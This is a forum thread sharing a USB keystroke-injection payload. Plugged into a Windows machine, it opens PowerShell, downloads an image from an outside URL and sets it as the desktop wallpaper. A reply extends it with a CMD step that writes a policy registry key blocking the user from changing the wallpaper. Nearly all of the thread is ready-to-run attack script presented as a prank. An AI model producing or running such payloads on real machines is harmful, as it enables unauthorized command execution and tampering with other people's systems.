Jump to content

[Payload] Download Image And Set A Background Image Payload


Recommended Posts

This is my first payload, it downloads an image and sets as a desktop background. Enjoy!

GUI d

DELAY 300

GUI r

DELAY 300

STRING powershell

DELAY 200

ENTER

STRING cd c:\temp

DELAY 300

ENTER

STRING $clnt = new-object System.Net.WebClient

ENTER

DELAY 200

STRING $clnt | gm d*

DELAY 300

ENTER

STRING $url = "http://cdn.shopify.com/s/files/1/0068/2142/products/usbducky2.jpg"

DELAY 300

ENTER

DELAY 300

STRING $file = "c:\temp\USB_duck_image.jpg"

ENTER

DELAY 300

STRING $clnt.DownloadFile($url,$file)

ENTER

DELAY 300

ENTER

DELAY 100

CTRL ESC

DELAY 100

STRING c:\temp\USB_duck_image.jpg

DELAY 300

DOWNARROW

DELAY 300

MENU

DOWNARROW

DELAY 300

DOWNARROW

ENTER

DELAY 300

GUI d

Link to comment
Share on other sites

  • 2 years later...

Hi Geeks !

Sorry for digging up the topic ... But I found it quite funny payload, I will add just this line that prevents changing the wallpaper

PS : (Sorry for my english level..... I'm French !) ^_^

This is my first payload, it downloads an image and sets as a desktop background. Enjoy!


GUI d
DELAY 300
GUI r
DELAY 300
STRING powershell
DELAY 200
ENTER
STRING cd c:\temp
DELAY 300
ENTER
STRING $clnt = new-object System.Net.WebClient
ENTER
DELAY 200
STRING $clnt | gm d*
DELAY 300
ENTER
STRING $url = "http://cdn.shopify.com/s/files/1/0068/2142/products/usbducky2.jpg"
DELAY 300
ENTER
DELAY 300
STRING $file = "c:\temp\USB_duck_image.jpg"
ENTER
DELAY 300
STRING $clnt.DownloadFile($url,$file)
ENTER
DELAY 300
ENTER
DELAY 100
CTRL ESC
DELAY 100
STRING c:\temp\USB_duck_image.jpg
DELAY 300
DOWNARROW
DELAY 300
MENU
DOWNARROW
DELAY 300

DOWNARROW
ENTER
DELAY 300

GUI r

DELAY 300

STRING CMD

ENTER

DELAY 300

STRING REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /V NoChangingWallPaper /T REG_DWORD /D 1

ENTER

DELAY 300

STRING CLS

ENTER

DELAY 300
GUI d

Edited by wopch
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...